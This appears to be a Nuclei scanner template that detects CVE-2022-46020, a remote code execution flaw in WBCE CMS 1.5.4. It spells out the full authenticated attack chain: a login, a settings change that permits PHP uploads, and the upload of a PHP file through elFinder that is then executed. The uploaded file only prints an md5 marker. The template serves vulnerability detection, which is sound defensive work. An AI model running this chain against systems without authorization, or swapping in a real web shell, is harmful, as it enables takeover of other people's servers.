nuclei-templates/http/cves/2022/CVE-2022-46020.yaml

136 lines
4.8 KiB
YAML

id: CVE-2022-46020
info:
name: WBCE CMS v1.5.4 - Remote Code Execution
author: theamanrawat
severity: critical
description: |
WBCE CMS v1.5.4 can implement getshell by modifying the upload file type.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade to a patched version of WBCE CMS v1.5.5 or later to mitigate this vulnerability.
reference:
- https://github.com/WBCE/WBCE_CMS
- https://github.com/10vexh/Vulnerability/blob/main/WBCE%20CMS%20v1.5.4%20getshell.pdf
- https://nvd.nist.gov/vuln/detail/CVE-2022-46020
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-46020
cwe-id: CWE-434
epss-score: 0.01254
epss-percentile: 0.83982
cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 6
vendor: wbce
product: wbce_cms
tags: cve,cve2022,rce,wbce,cms,authenticated,intrusive
http:
- raw:
- |
GET /admin/login/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/login/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
- |
GET /admin/settings/index.php?advanced=yes HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/settings/save.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
advanced=yes&formtoken={{formtoken}}&website_title=test&website_description=&website_keywords=&website_header=&website_footer=&page_level_limit=4&page_trash=inline&page_languages=false&multiple_menus=true&home_folders=true&manage_sections=true&section_blocks=true&intro_page=false&homepage_redirection=false&smart_login=true&frontend_login=false&redirect_timer=1500&frontend_signup=false&er_level=E0&wysiwyg_editor=ckeditor&default_language=EN&default_charset=utf-8&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&search_footer=&search_max_excerpt=15&search_time_limit=0&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&pages_directory=%2Fpages&media_directory=%2Fmedia&page_extension=.php&rename_files_on_upload=
- |
POST /modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------213974337328367932543216511988
-----------------------------213974337328367932543216511988
Content-Disposition: form-data; name="reqid"
test
-----------------------------213974337328367932543216511988
Content-Disposition: form-data; name="cmd"
upload
-----------------------------213974337328367932543216511988
Content-Disposition: form-data; name="target"
l1_Lw
-----------------------------213974337328367932543216511988
Content-Disposition: form-data; name="upload[]"; filename="{{randstr}}.php"
Content-Type: application/x-php
<?php
echo md5("CVE-2022-46020");
?>
-----------------------------213974337328367932543216511988
Content-Disposition: form-data; name="mtime[]"
test
-----------------------------213974337328367932543216511988--
- |
GET /media/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_6
words:
- 751a8ba516522786d551075a092a7a84
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: username_fieldname
group: 1
regex:
- name="username_fieldname" value="(.*)"
internal: true
part: body
- type: regex
name: password_fieldname
group: 1
regex:
- name="password_fieldname" value="(.*)"
internal: true
part: body
- type: regex
name: formtoken
group: 1
regex:
- name="formtoken" value="(.*)"
internal: true
part: body
- type: regex
name: app_name
group: 1
regex:
- name="app_name" value="(.*)"
internal: true
part: body
# digest: 490a0046304402203cb8c698e2bf7fc453388e74740f52f4aa1b59324e312d7d046f4cddc947f0a902206365584532ec3548deae323416de18bd7be68ec5dc24fd6387fca90d403ab471:922c64590222798bb761d5b6d8e72950